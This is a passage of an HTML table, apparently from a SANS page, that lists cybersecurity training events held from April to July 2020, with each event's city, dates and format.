<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2020</td>
<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC401</td>
<td>Brampton, ON</td>
<td>May 04, 2020 - May 09, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 06, 2020 - May 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam May 2020</td>
<td>Amsterdam, Netherlands</td>
<td>May 11, 2020 - May 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC401</td>
<td>Brampton, ON</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Northern Virginia- Alexandria 2020</td>
<td>Alexandria, VA</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Antonio 2020</td>
<td>San Antonio, TX</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Autumn Sydney 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC401</td>
<td>Brampton, ON</td>
<td>May 19, 2020 - May 24, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Atlanta Spring 2020</td>
<td>Atlanta, GA</td>
<td>May 26, 2020 - May 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Nashville Spring 2020</td>
<td>Nashville, TN</td>
<td>May 26, 2020 - May 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London June 2020</td>
<td>London, United Kingdom</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Chicago Spring 2020</td>
<td>Chicago, IL</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Las Vegas Summer 2020</td>
<td>Las Vegas, NV</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Zurich June 2020</td>
<td>Zurich, Switzerland</td>
<td>Jun 15, 2020 - Jun 20, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Silicon Valley - Cupertino 2020</td>
<td>Cupertino, CA</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Cyber Defence Canberra 2020</td>
<td>Canberra, Australia</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>